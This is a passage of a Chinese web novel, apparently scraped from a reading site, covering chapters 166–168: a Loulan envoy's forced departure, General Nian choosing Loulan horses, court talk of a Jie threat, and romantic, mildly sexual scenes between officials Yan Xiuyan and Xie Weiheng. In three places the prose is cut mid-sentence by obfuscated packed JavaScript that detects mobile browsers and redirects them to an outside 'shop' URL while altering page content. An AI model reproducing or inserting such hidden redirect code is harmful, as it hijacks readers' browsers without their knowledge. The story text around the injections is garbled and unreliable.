虞睿祥静静看着国师走出殿门,脸上依旧挂着从容的帝王笑意:“国师大可放心,朕既许诺保大王子平安,便绝不会食言。待归国之日来临,朕再赐严国师一枚贴身护身玉佩,可驱邪避凶、抵御阴灵,保大王子不受鬼怪侵扰。” 国师心头沉甸甸的,压着无尽惶恐与忌惮,面上只能勉强扯出一抹僵硬的笑意,躬身道谢:“多谢陛下恩典。” 回到驿馆后,国师再无半分犹豫,面色阴鸷沉冷,二话不说下令使团收拾行囊,启程返回楼兰。 使团中尚有几人不甘心就此妥协,想要开口反对、据理力争,可对上他眼底翻涌的戾气与冰冷决绝的眼神,所有话语尽数卡在喉咙,无人再敢辩驳,只能乖乖遵从命令。 “国王陛下要我们做的,大王子已经做的差不多了,医书、农书、粮种,已然尽数寻得,任务已然完成!” 国师用力拍着桌子:“昨天我便令尔等收拾行囊,一会就动身走!” 隔壁,燕修延漫不经心地掏了掏耳朵,唇角勾起一抹了然的浅笑:“这般气急败坏、又急又疼,妥妥的亲生骨肉无疑。也就事关这唯一心头肉,才能让素来沉稳隐忍的国师乱了所有方寸。” “燕大人不理我,我也会着急。” 谢伟恒从身后轻轻环住燕修延的腰,侧脸亲昵地贴着他的颈侧,呼吸温热缱绻:“夫君昨夜忙着布局算计,深夜才归,对我这般冷漠冷淡,莫非是心里全然没有我?” 燕修延被他缠得无奈,抬手轻轻拍了拍谢伟恒的头顶,语气嫌弃又纵容:“滚犊子。” 昨夜两人一起去宫里吓唬大王子,忙到深夜才一同返程,哪里来的冷落迟归之说。 谢伟恒笑出声,唇角蹭过他的颈侧,故意逗他:“燕大人冤枉我,我只是单纯想亲近夫君,想占你的身子罢了。” 直白又炽热的情话落在耳畔,燕修延揉揉黏在自己颈侧的脑袋:“你滚,正经点。” 166. 夫夫联手搬物往家归 收拾好行李,有人躬身问国师,临行之前,是否要入宫向皇帝辞行,尽一尽邦交礼数? 国师眸光微沉想到皇帝轻飘飘一句五千兵马“护送”一事。一旦再入宫,谁知道对方又会布下什么圈套,平添掣肘。 “不必,即刻启程。” 踏出居住多日的驿馆时,值守驿馆的大小官吏似乎没有丝毫诧异,早早备好了随行马匹,恭恭敬敬引着一行人往城门方向而去,全程礼数周全却也全程戒备森严。 及至巍峨的京城正门,厚重的城门敞开,门外甲光向日,寒气森森。 五百名身披玄铁重甲、腰佩长刀的大虞士兵列成整齐方阵,肃立道旁,军容凛冽,杀气隐现,将整条出城大道牢牢封锁。 锦似程身姿挺拔,上前一步对国师郑重拱手,挑不出半分错处:“国师安好,陛下有旨命我等五百将士专程护送使团返程。除此以外,另有四千五百名精锐兵马已在前头等候,一路保驾护航。” 使团众人脸色齐齐黢黑,胸中怒火翻涌,有人已然攥紧了兵器,欲开口驳斥这明目张胆的软禁之举。 国师用一个极淡的眼神稳稳制止了众人的躁动。 事已至此,反抗无异于以卵击石,只会徒增羞辱。 他强压下满心憋屈,扯出一抹僵硬客套的笑意:“既然陛下盛情,那便有劳诸位将士了。” 浩浩荡荡的使团在五千精兵的层层“护送”之下,缓缓驶离京城,彻底退出了大虞朝堂的视野。 随着楼兰使团这桩心头大事尘埃落定,京中气氛松弛下来,最清闲快活的莫过于燕修延。 他第一时间兴冲冲赶往马场,眼里心里只惦记着楼兰进贡的那五百匹良驹。 马场之上,骏马嘶鸣,匹匹身姿矫健、骨骼匀称,乌黑油亮的鬃毛在风里轻轻晃动,四肢修长有力,一看便是千里良驹。 “都是顶好的千里驹,当真难得。” 燕修延指尖轻轻抚过马儿顺滑的鬃毛,触感温热柔软,眼底盛满了毫不掩饰的喜爱。 这才只是第一批五百匹,后续还有四千五百匹良马会陆续送入大虞马场。 日后精心驯养繁育,年年都能诞下健壮马驹。 光是想想,就很想笑。 “哈哈哈!好马!皆是万里挑一的好马啊!” 一道雄浑豪迈的苍老笑声从不远处传来。 燕修延扭头,眼中涌上惊喜,脸上笑意更盛:“年大将军!” 他快步迎上去:“将军怎么突然进京了?” 年近花甲的年大将军身姿依旧挺拔如松,风骨凛然,岁月虽染白了他鬓边须发,却丝毫未减其沙场老将的豪迈气度。 他缓缓转过身,看着眼前鲜活灵动的少年,眼底满是熟稔的笑意:“呦,咱们的小修延也在这儿啊。” “大将军!” 燕修延皱起鼻尖,故作不满地抗议:“我说过多少次了,大将军叫我时别加这个‘小’字,我早就不是孩童了。” 年大将军愈发欢喜,大步上前,宽厚的手掌拍在燕修延的肩头,笑得肆意开怀:“你小子几年不见,瞧着胖了些,看来成亲之后日子过得格外滋润舒坦啊。” 燕修延满脸无奈,哭笑不得地看着这位不拘小节的老将军:“早知道方才我就不该主动跟你打招呼,平白被你打趣。” “你不跟我打招呼,老夫也要专程去找你喝酒的。” 年大将军捋着颔下花白长须,眼底满是促揶揄:“你如今成了家怕是没空陪我这糟老头子喝酒了吧?不知谢书令会不会拦着。” 他在京郊茶楼歇脚,闲来无事听了满耳朵的京城市井流言,关于两人的传闻足足听了一箩筐。 总结出来三点:两人情深意浓、恩爱甚笃;谢书令爱吃味;燕正使是“夫管严”。 燕修延嘴角往下一撇,故作别扭:“大将军戎马一生,胸襟坦荡,怎么如今也爱听这些市井小道闲话了?” 年大将军眸光狡黠,笑着反问:“怎么?难道坊间传言不实?你与小谢大人并非恩爱,平日里只是相敬如宾、平淡相处?” 燕修延撇了撇嘴,若是真能相敬如宾就好了,起码他不必三天两头酸软。 想象了一下,谢伟恒与他客气疏离、相敬如宾,事事守礼分寸、不远不近,无半分亲昵缱绻的画面。 燕修延又皱起眉头来,心口莫名堵得慌,空落落的格外不舒服。 “哈哈哈,你这小子。” 年大将军看着他变幻的神色,笑得愈发欣慰,轻轻摇了摇头:“典型的嘴硬心软。” 燕修延摸了摸鼻尖,岔开话题:“不聊这个了。大将军此番专程进京,可是有朝廷要事?” 年大将军抬手拍了拍身侧骏马的脖颈,马匹温顺地低嘶一声:“陛下传我入京挑马。” 燕修延瞪大双眼,眉毛高高竖起,满脸的不可思议:“陛下半个字都没跟我提过!我辛辛苦苦筹谋至此,不让我先挑?我找陛下理论!” “你啊你,还是这般毛躁沉不住气。” 年大将军笑着松开马缰,示意身后的人将马匹牵走:“陛下说了,让我挑两百匹给冯老爷子送去,余下三百匹尽数归我调配带走。” 燕修延伸手指着自己,眉眼弯弯,带着几分孩子气的委屈:“那我呢?合着一匹都不给我留啊?” 年大将军被他直白又可爱的模样逗得失笑:“给冯老爷子,跟给你有什么区别?那老家伙最疼你,得了好马定然第一个想着你。” 他认为冯老家伙不会真的不管小修延。 燕修延瘪着嘴嘟囔:“当然有了, 我眼下一匹好马都没得骑。” “你倒是贪心,后续还有四千五百匹良马陆续抵京尽数够你挑选,你骑的过来么?” 虞睿祥温润沉稳,又带着几分戏谑的嗓音从身后传来。 燕修延回头,只见帝王缓步走来,一身常服素雅端庄,气度雍容。 站在他身边的还有一袭青衫、身姿清俊的谢伟恒。 虞睿祥目光含笑,遥遥点了点燕修延,一语戳破他的小心思:“你这机灵鬼,定然早就听见朕的脚步声了,故意当着朕的面诉苦,想讨好处,是不是?” 年大将军与燕修延上前,对着帝王躬身行礼。 礼毕起身,燕修延换上一副嬉皮笑脸的模样,油嘴滑舌地辩解:“陛下可冤枉我了!我专心与大将军闲谈赏马,实在未曾留意周遭动静,是陛下出行未曾让人通传,怎能怪我?” 虞睿祥无奈摇头懒得与他掰扯,转头看向老将:“大将军亲自查验,这批楼兰良马品质如何?” “上上之品,百年难遇!” 年大将军眼中盛满精光,脸上满是极致的满意:“大虞将来也能拥有无往不利的骑兵!” 大虞本土战马不能说差,身形尚可,却唯独耐力欠缺。 一旦骑兵披挂厚重玄铁战甲,马匹速度便会大幅锐减,且无法长途驰骋,极大限制了骑兵战力。 燕修延走到谢伟恒身侧,趁着无人细看,伸出纤细的食指轻轻挠了挠谢伟恒的手背,低声问道:“你不是去中部巡查政务了么?怎么又跟陛下混到一处去了?” 谢伟恒垂眸看向他灵动狡黠的模样,漆黑眼眸漾着浅浅笑意,薄唇微勾低声反问:“燕大人这是吃味了?” 燕修延抬眼白了他一眼,准备收回手指:“我不爱喝醋,谢谢。” 温热的掌心覆上燕修延的手,谢伟恒指尖微收稳稳将他的手攥在掌心,力道温柔却不容挣脱:“真叫人心痛,每每只有我在吃味、牵挂惦念。” 燕修延轻轻挣了挣手腕,没挣开却被对方握得更紧,只能压低声音:“松手!别在人前拉拉扯扯,陛下和大将军还在呢!” 下意识抬眼望去,正好对上两道似笑非笑的目光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646324|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虞睿祥和年大将军两人齐齐看了过来,眼底笑意藏都藏不住,分明是将二人的低声私语、亲昵小动作尽收眼底。 四目相对的瞬间,他们极有默契地同时转身,异口同声笑道:“我们转过身了,不算在人前拉扯,你们继续、尽管继续!” 谢伟恒握着他的手非但没有松开,反而轻轻收紧,眸底笑意深邃,低声打趣:“陛下既已开言,燕大人可不能违抗圣意。” 燕修延:“……” 真是没眼看! 都学会拿陛下当幌子了。 一天天的不学点好的! 他余光瞥见虞睿祥和年大将军肩头微微耸动,不用想也知道两人在偷偷憋笑!窘迫得他恨不得立刻抽手逃离。 年大将军从五百匹良马中精挑细选出两百匹品相最优、筋骨最佳的战马,安排亲兵妥善照料。 他此番进京挑选战马不过是顺带小事,真正的核心要事是与帝王商议新政落地后的军政要务。 自朝廷推行计民数、摊丁入亩新政以来,百姓安居乐业,民生安稳,民间参军报国的热情空前高涨。 往日官府需挨家挨户强征壮丁、百姓避之不及的乱象彻底根除,如今青壮子弟踊跃投军,兵力储备空前充盈。 虞睿祥急召他入京正是为了商议新兵编制、兵力分配、边防驻守等一系列关键军务。 燕修延一听谈军政要事,瞬间没了半点兴致,眉眼恹恹,只想溜之大吉。 他悄悄扯了扯谢伟恒的衣袖,眼神示意他一同离开。 虞睿祥眼尖,出声叫住欲偷偷开溜的两人,似笑非笑道:“跑什么?先前是谁再三跟朕念叨,日后想要领兵打仗,还要亲自操练新兵、组建精锐骑兵?如今正商议军务,反倒躲得远远的。” 燕修延坦然摊手,一脸坦荡机灵:“有年大将军坐镇统筹,治军练兵皆是天下一绝,分配定然面面俱到、万分合理,我干嘛操这个心?” 想了想,燕修延又转头看向年大将军,脸上堆起谄媚乖巧的笑意:“大将军,可得多给冯老他们分些上等好马哈!劳烦你叮嘱冯老顺便帮我一并调教操练,将来我直接捡现成的就行。” 他想开了,干嘛自己辛苦练兵啊,总得给冯老找点差事忙活忙活~ 年大将军素来偏爱燕修延这直白坦荡、聪慧通透的性子,不扭捏、不虚伪,鲜活又真挚。 他笑骂一声,语气满是宠溺:“你这小鬼头,当真是一肚子鬼精!放心吧。” 看着燕修延和谢伟恒相携并肩渐行渐远的身影。 年大将军眼底满是欣慰暖意,缓缓捋着花白长须,感慨道:“这两个孩子当真般配,天作之合。” 虞睿祥微微颔首,深以为然,可片刻后又轻轻摇头:“何止是般配。朕时常琢磨到底是修延带坏了伟恒,还是伟恒的纵容偏爱惯得修延愈发肆无忌惮。” 年大将军朗声大笑:“大抵是二人相互影响彼此带坏,相辅相成吧。” “大将军所言极是,可不就是相互带坏嘛。” 虞睿祥轻叹一声,难得对着老将军吐露几分帝王的“苦衷”:“你敢信,伟恒处处护着修延,二人联手总能找尽百般借口从朕的私库日日往他们府中搬东西,半点不客气。” 年大将军到了这个年纪,对什么都见怪不怪了,他也知道帝王看似诉苦,实则满心纵容并非真的恼怒:“陛下心怀天下,胸襟宽广,向来纵容他们。” 君臣二人皆是心知肚明,不纵着能怎么办? 燕修延真的能干出在御书房耍赖打滚、撒娇讨赏,闹得满室狼藉。 在朝堂上他情急之时照样敢当众放泼耍无赖,无人能治。 虞睿祥想起往日种种,忍不住再度感叹:“说起来,自打他们二人成亲之后,有伟恒事事替他周全、替他讨要好处,护着他纵容他,朕倒是许久没见过修延撒泼打滚耍无赖的模样了。” 167. 起驾,我的谢书令~ 年大将军侧首望向虞睿祥,眉眼间挂着几分爽朗的笑意:“陛下想看?” 玄色龙纹常服衣摆随夏风轻轻拂动,虞睿祥当然不想看,以前看燕修延凭着一身泼皮机灵的本事,哄得自己一次次大方掏私库,金银流水般送出去。 如今倒好,燕修延身边多了个同气连枝、事事相护的谢伟恒。 两人凑在一处八百个心眼子,默契十足,若真要玩闹起来怕是联手能把他的私库搬的只剩个空壳。 虞睿祥压根不敢深想后续,眉宇间满是哭笑不得的无奈。 年大将军望向马场中肆意奔跑的良驹,这明媚爽朗的景致并未持续太久,他脸上的笑意一点点淡去,缓缓敛入眼底,取而代之的是久经沙场的沉凝与肃穆。 “征兵的消息,传到蛮夷耳中不过是迟早的事。” 楼兰遣使送马、俯首示好的消息,想必也早已传遍四方。羯国狼子野心,如今定然已是蠢蠢欲动,怕是很快便要滋生事端。 “知道便知道。” 虞睿祥神色未变,双目望向远方连绵的天际,语气沉稳笃定:“如今的大虞,早已不是先帝在位时那般积弱疲软、处处委曲求全了。” 大虞百年以来,边关祸患不绝,蛮夷铁骑屡屡劫掠,镇守要害的重中之重唯有两处。 一处是年大将军驻守的,风沙漫天,苦寒险峻,直面羯国最精锐的铁骑;另一处则是冯老镇守的,地势复杂,战事频发,常年不得安宁。 世人皆知年家军威震四方,是大虞战力最顶尖的精锐之师,却少有人知晓这支铁军背后的支撑。 年大将军的发妻是京中顶级世家的嫡女,自幼备受宗族宠爱,家底殷实、人脉广博。 二人成亲之后,其妻母家念及边关将士苦寒、军费拮据,常年源源不断暗中补贴粮草、钱财、军械,倾尽宗族之力扶持年家军。 而冯老镇守的军营,自虞睿祥登基后,有燕修延一次次暗中托付靠谱的镖局,源源不断输送银两、粮草与精良军械。 日积月累之下,冯家军的军备彻底翻新,粮草充盈充足,将士待遇大幅提升,整支军队的精气神、战斗力与作战装备,早已今非昔比,脱胎换骨。 虞睿祥眼底浮起一抹冰冷的嘲讽,语气带着几分唏嘘与怅然:“说来当真讽刺。大虞战力最强的年家军,大部分军费不是出自朝廷国库,全靠自家人自掏腰包贴补支撑。” 先帝一朝,朝堂积弊深重,重权谋制衡,轻边关守备,对戍边将士素来凉薄至极。 对待边关军队,唯有一条死板严苛的要求——死守城池不得失土。 从未给过足够的粮草、军费与体恤。 大虞之所以能守住万里疆土,不让蛮夷铁骑踏碎安宁,靠的是千千万万的边关将士,以血肉之躯筑起屏障。 是他们常年扎根苦寒边疆,任由边关风沙磨平少年锐气,任由战火硝烟浸染满身风霜,把青春岁月融进烈烈边关长风,把忠魂傲骨永远留在漫漫沙场,以性命护得中原百姓岁岁安稳、岁岁太平。 “镇守一方疆土,震慑四方蛮夷,护天下百姓安居乐业,便是最大的功德。臣的夫人常说,能为边关将士、为大虞山河尽一份力,是她的福气,更是莫大的功德。” 年大将军倒是看得开,眼底泛起几分笑意:“前几日冯老头给臣写信,字里行间满是炫耀。说他的冯家军现在厉害着呢!早已不是当年任人欺凌的模样。若是此刻蛮夷贸然来犯,定能打他们一个措手不及,惊掉一众敌人的下巴!” 虞睿祥目光坚定的望着远方:“不止是年家军、冯家军,大虞的每一支军队都会成为让四方蛮夷闻之胆颤、望而生畏的存在!” 年大将军也望向澄澈高远的天穹,语气带着几分沧桑感慨:“老天待大虞是厚待亦是薄待。昔日威震天下的燕家军,忠君报国,终是遭奸人陷害,满门倾覆、全军覆灭。若是再出现曾经的现象、再出个先帝那般的君主,大虞的百年气数恐怕真的要就此耗尽了。” 晋王野心勃勃,心性狭隘狠戾,只会争权夺利、构陷忠良,他只会比先帝更差劲。 虞睿祥收回远眺的目光,唇角勾起一抹浅淡笑意:“大将军倒是敢说。” 年大将军朗声大笑,坦荡无畏:“臣分明是真心实意夸赞陛下圣明!” “数年未见,大将军风采依旧半点不见老态。” 燕修延十指扣着谢伟恒的手,步履悠闲缓缓往回走:“陛下登基后,他就没回过京城半步。” 谢伟恒静静陪着他缓步前行,掌心温热干燥牢牢裹着燕修延的手。 他听得明白,燕修延这句感慨看似是说年大将军戍边不归,实则一语双关。 不止是年大将军,还有扎根边关的冯老,以及当年血战沙场、最终满门陨落、永远再也回不到京城的燕家忠魂。 夺位之争血雨腥风、朝局动荡黑暗,为避朝堂纷争、不卷入皇权漩涡,冯老便彻底断了回京的念头,自此驻守边疆,一心治军戍边,再未踏足京城半步。 “爷爷如今一切安好,往年缠身的陈年旧疾、边关苦寒落下的沉疴顽疾,早已尽数痊愈。” “嗯?” 燕修延脚步一顿,微微侧目狭长的眼眸带着几分讶异:“你派人去了?” 谢伟恒微微垂眸,细细回想一下:“那时陛下尚未登基,我族中一位精通医术的伯伯远赴边关开了一间医馆。” 有军医去他那里买药,一来二去的彼此渐渐熟稔后,偶尔会去军营为将士诊治疑难杂症。 也就顺理成章的替冯老悉心调理起来。 “约莫半个月前,伯伯寄来家书,说爷爷体内积压数年的沉疴、寒毒、旧伤,已然全部调理根除,身子骨比前些年硬朗太多,足以安心镇守边关。” 燕修延心底涌满滚烫的暖意,酸涩与欣喜交织蔓延开来。 他望着眼前温雅沉稳的心上人,眼底笑意翻涌,身形微倾抬手勾住谢伟恒腰间的玉带,微微用力将人径直拉近。双臂顺势环住他的脖颈,踮起脚尖仰头吻上他的唇。 谢伟恒抬手牢牢扣住燕修延的腰,将人稳稳护在怀中,顺势抵在粗壮的老树树干上,微微偏头加深了这个温柔缱绻的吻。 良久缓缓分开,二人鼻尖相抵皆是呼吸微促,眉眼氤氲着未散的暧昧暖意。 燕修延眼尾泛红上挑定定凝着谢伟恒深邃的眼眸,轻声诘问:“若不是今日偶遇年大将军,我想起爷爷,你是不是打算一直藏着掖着永远不告诉我?” 谢伟恒气息微稳,薄唇噙着温柔笑意,抬手轻抚他的后腰:“我想着日后你去往边关,亲眼见他身子康健,自然便知晓。” 燕修延伸出指尖轻轻点点谢伟恒的胸口:“可那样,我就不知道这一切都是你默默费心的结果。” 谢伟恒反手牢牢握住他的手:“本也不是我做的,不过是顺水推舟、成人之美,无需拿来邀功。” 燕修延眸光流转稍稍思索,瞬间想通了其中关节。 他知道冯老爷子身体痊愈之后,必然会百般感谢那位悉心诊治的医者。 稍加打听后便会知晓大夫是谢伟恒的伯伯。 谢伟恒做事沉稳内敛,万般温柔付出,从来不言不语、不声张、不邀功,永远默默藏在暗处,为他铺平前路、护他周全,只等他自己一点点发觉。 嘴上说着不求功劳、无需称道,可世间哪有这般凑巧的事?偏偏就在军营疾苦无人问津之时,谢家精通医术的长辈不远千里远赴边关开馆行医。 “说是不必拿来邀功,哼哼。” 燕修延微微贴近谢伟恒的脸颊,抬腿轻轻蹭了蹭小伟恒:“我怎么觉得,你此刻就是在变相跟我邀功?” 谢伟恒眼底的温柔褪去翻涌着沉沉的暗色,眸光炙热深邃,喉结微微滚动,声音染上几分沙哑磁性:“我倒觉得,不是我邀功是燕大人在主动招惹、刻意邀请我。” 燕修延抬手,指尖轻轻覆在谢伟恒的唇上,眉眼带笑:“嘘,有些事情点到为止,说得太多反倒没了趣味。” 谢伟恒垂眸望着近在咫尺的爱人,眼底情愫汹涌,低头含住燕修延的指尖:“我的燕大人啊……” 他们在野外,虽说人迹罕至可终究是露天,四下无遮无挡,难保不会有人经过。 谢伟恒将燕修延拉入密林之中。 衣衫微松,燕修延残存的理智突然回笼,轻轻托起谢伟恒的头:“没有……还是等回去再说吧。” 谢伟恒动作停住,眸底的炙热稍稍褪去半分,看着怀中人微红的眉眼。 他抬头望向头顶繁茂的枝头,指尖伸出精准摘下两枚青红相间的浆果,指腹微微用力捏碎,清甜淡雅的果香漫溢开来。 燕修延看着他这番模样,唇角微微一抽,轻声应了句:“行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二人并肩坐入宽敞舒适的车厢,马车缓缓启程,朝着京城方向行去。 除了庄子里备好的精致膳食,沿途街边摊贩的特色小吃也被尽数搜罗。 燕修延慵懒靠在车窗边,半边身子倚着软垫,手里捏着一块软糯糕点,慢悠悠吃着,一双清亮的眼眸好奇望着街边熙攘热闹的市井景象,心里还默默盘算着下一站要买的零嘴吃食。 一匹神骏的枣红色骏马从马车外侧疾驰而过,身姿矫健,速度极快。 燕修延认出来马鞍侧面精致的烫金纹路,是专属瑞王府的标识,独一无二,绝不会出错。 “瑞王远居封地,素来甚少涉足京城,如今派人入京,不知所为何事?” 李府书房之内,气氛压抑凝滞,硝烟四起。 魏仲泽立于书案前,脸色铁青,胸中怒火熊熊燃烧,猛地抬手狠狠拍在书桌上。 “轰”一声响,桌面震动桌上的笔墨纸砚、书卷砚台尽数震颤移位,险些滚落坠地。 他怒目圆睁,死死盯着跪地之人,声音凌厉震怒,满是恨铁不成钢的怒意:“混账东西!谁准你擅自做主、私下谋划的!” 李想脊背紧绷,毫无惧色,抬头望着暴怒的义父,眼神执拗急切:“义父!事到如今,我们早已没有退路了!” “羯国是我们翻盘唯一的底牌、最后的指望!若是再不催促羯国趁机起兵、搅动边关战局,等到大虞征兵完毕、军备成型,我们就再也没有任何机会了!” 魏仲泽胸膛剧烈起伏,怒火攻心,字字沉重:“你到底在急什么!燕修延常年深耕朝堂,身负重任,他总有远赴边关、亲赴战场的那一天!我们只需耐心蛰伏、静待时机即可,何必急于一时,自乱阵脚!” 一时急躁便是满盘皆输,多年筹谋或将毁于一旦! ——————————————— 单身鸟(用翅膀捂住脸):咦~天上有秀恩爱的就算了,出门吃个饭居然看见两脚兽在…… 注: 燕修延叫冯老爷爷而非别的称呼:因为冯老从小看燕修延长大的,燕修延父母离世后冯老认他当自己亲孙子,所以叫爷爷!!! 168. 某人心思有点重啊 虞睿祥指尖轻轻抵在一份明黄奏折的封面上,折子边角工整,字迹温驯谦和,是远在封地的瑞王亲笔所写。 折子内容简单直白,字字恳切只求圣上恩准,让他迎久居深宫的母妃前往封地颐养天年。 帝王修长的指节缓缓摩挲着纸面,眸色微沉,陷入沉吟。 瑞王母妃是先帝后宫里最不起眼的一位。 半生无争,半生恬淡,容貌清丽却从不争宠逢迎。 诞下五皇子后,因皇子自幼先天体弱、体虚多病,她更是彻底淡出了后宫所有纷争。 常年闭居清冷宫殿,日日青灯古佛、吃素诵经,不求荣华富贵,只求唯一的孩儿平安康健。 夺嫡之争,各路皇子勾心斗角、势同水火,唯有瑞王始终置身事外。 不结党、不揽权、不站队,安分守己待在府邸,潜心静养身子,从未有过半分觊觎皇权的心思。 虞睿祥想起自己生辰那日,同瑞王闲坐对弈时,他温声提点。 念及此处,虞睿祥心中微动。 沉吟良久,他执起御笔,铺开素色宣纸亲笔修写一封私信,落笔封缄后,命内侍快马加急送往瑞王封地。 妥善批复完所有奏折,褪去一身沉重的玄色龙袍,虞睿祥换上一身月白暗纹常服,素净雅致,全无帝王威严。 屏退宫中一众侍从,只带了贴身伺候的苏公公,轻车简从悄然出宫。 推开酒楼的雅间,年大将军正与对面的燕修延低声闲谈,谢伟恒端坐侧旁不插一言,只静静听着二人说话,眼底带着浅浅柔和。 见是帝王进来,齐齐起身躬身行礼:“陛下。” “都坐。” 虞睿祥抬手随意一抬,语气松弛温和,褪去了朝堂之上的威严肃穆““今日不算御前议事,便是私下家宴,无需拘守君臣礼数,自在便好。” 燕修延屁股刚沾椅面,像是突然想起什么,又猛地倏地站起身。 他眼睛弯出狡黠的弧度,双手搓了搓,满脸谄媚乖巧的笑意:“既然陛下都说了是家宴,那吃完饭能不能去陛下的私库挑两件稀罕玩意儿?” 虞睿祥斜睨燕修延一眼:“你当朕今日为何特意不在宫中设宴,偏偏来酒楼?” 这话不言而喻,摆明了就是防着他惦记私库。 燕修延蔫了,脸上的笑意收敛大半,悻悻地一屁股坐回椅子上,转头就凑到年大将军身侧:“大将军,今日咱们只管喝酒,不醉不归!” 虞睿祥看向淡然静坐的谢伟恒身上——算了,看谢伟恒没用。 这位纵容宠溺,事事惯着燕修延,半点不会管束。 看年大将军也没用,这位更是将燕修延当成小辈孙儿一般疼惜,向来事事依着。 告状无门,说理无处。 最终,虞睿祥只得默默看向身侧的苏公公。 苏公公躬身退步而出,片刻后折返身后跟着酒楼侍者。 一道道精致热菜、爽口冷盘接连上桌,又搬来三坛封存多年的陈年好酒,浓郁酒香瞬间漫满整间雅室。 佳肴摆满方桌,香气四溢。 虞睿祥端起面前白玉酒杯:“这一杯,朕敬大将军。多年戍守边疆,镇守国门,劳苦功高。” “不敢。” 年大将军双手恭敬捧起酒杯起身:“该是臣敬陛下。” 燕修延咬着竹筷小声嘀咕:“都说了是家宴,怎么还这般客套拘束。” 虞睿祥放下酒杯,拿起筷子随手夹了一筷菜:“行了行了,别念叨了,赶紧吃菜。” 帝王率先动筷,其他人这才纷纷抬手动筷。 年大将军歇了片刻端起酒杯,打算寻燕修延对饮。 燕修延正埋头大口干饭,谢伟恒在一旁,动作从容细致,将适口的菜肴夹进燕修延碗中,默默替他添菜布食。 虞睿祥看出年大将军脸上的茫然,忍不住笑出声:“大将军有所不知,修延现在喝酒前必先填饱肚子垫垫胃,免得空腹饮酒伤身。” “哈哈哈,难得难得,这般自律,确实是极好的习惯。” 年大将军爽朗大笑,放下手中酒杯,也拿起筷子用膳:“我家夫人也常这般叮嘱于我。” 燕修延咽下口中的饭菜,抬眸笑得眉眼弯弯:“听媳妇儿的话能发财、能安康,多数时我都乖乖听谢书令的。” 谢伟恒眼底漾开浅浅笑意,指尖动作未停将刚剥好的雪白鲜虾放在精致小碟里,稳稳推到燕修延手边。 做完这些,他才轻声起身缓步走向雅间内侧的隔间洗手。 年大将军微微倾身,压低了声音:“小修延,媳妇是用来疼、用来哄的,别只顾着自己吃,也多给小谢大人夹些菜。” 虞睿祥嘴角挂着意味不明的笑。 燕修延打着哈哈:“好好好,我听大将军的。” 谢伟恒的耳朵尖,他听见了年大将军的话,神色依旧温润如常,看不出半分异样,片刻后从容擦拭干净双手,转身走回席位。 低头看向自己碗里早已堆得满满当当、层层叠叠的菜肴,皆是自己爱吃的口味,显然是方才燕修延顺手所夹。 谢伟恒唇角弧度更深,温声浅笑:“多谢燕大人挂心。” 年大将军坐在一旁,慈和的目光缓缓落在二人身上。 一活泼跳脱,一温润沉静,一动一静,一闹一稳,眉眼皆是世间难得的绝佳样貌,性情更是完美互补。 燕修延吃到半饱,腹中踏实,终于舍得放下碗筷,端起酒杯主动凑上前,与年大将军清脆碰杯:“大将军难得回京不如在京城多留几日再归营?” 年大将军笑着摇了摇头:“待事情了了便要返程,路途遥远往返总要耽搁许多时日。” “那好吧。” 燕修延也不多劝,兴致勃勃提议:“干吃饭喝酒无趣,咱们行酒令划拳吧!输的人自罚一杯,如何?” 年大将军来了兴致,抬手利落挽起袖口:“好!老夫陪你尽兴!” “宝一对啊!” “一心敬啊!” “哥俩好啊!” “三三元啊!” 清脆的划拳声此起彼伏,回荡在雅致的隔间里。一老一少你来我往,旗鼓相当,输赢各半,玩得不亦乐乎。 谢伟恒一面同虞睿祥聊天,一面时时俯身替两人斟酒。 虞睿祥目光锐利通透,看出了其中玄机,笑着打趣:“伟恒的私心有点重啊。” 他注意到,谢伟恒给大将军斟的酒只留五分满,给修延倒的次次七分有余,满满当当。 分明是存心想灌醉燕修延。 谢伟恒抬眸浅笑,语气轻缓:“陛下只猜对了一半。” 燕修延恰好输了一局,他扭头好奇追问:“猜对什么了?” 虞睿祥指尖轻点自己的酒杯,笑而不语。 燕修延摸不着头脑,干脆懒得细想,痛快干了杯中酒,又低头扒了两口菜垫胃。 “继续继续!再来!” 虞睿祥握着酒杯抵在唇边,压低嗓音轻声问谢伟恒:“需要朕替修延免了明日的早朝么?” 谢伟恒轻轻摇头,眼底掠过一丝极淡的笑意:“多谢陛下体恤,不必了。” 昨日在野外,二人情难自禁未曾收住分寸,接下来几日他自然不会太过。 虞睿祥微微一怔,心底暗自诧异。 莫非是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646326|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己想岔了?谢伟恒并非想灌醉燕修延,然后……? 一方是老少尽兴、热闹划拳,一方是君臣闲谈、静谧从容。 虞睿祥与谢伟恒聊起各地税收改制的事宜,句句贴合朝政,字字关乎民生。 一轮圆月缓缓攀上枝头,清辉皎洁,洒满长街,也透过雕花窗棂浅浅落进雅间之内。 热闹许久,年大将军终究年岁渐长,不胜酒力。 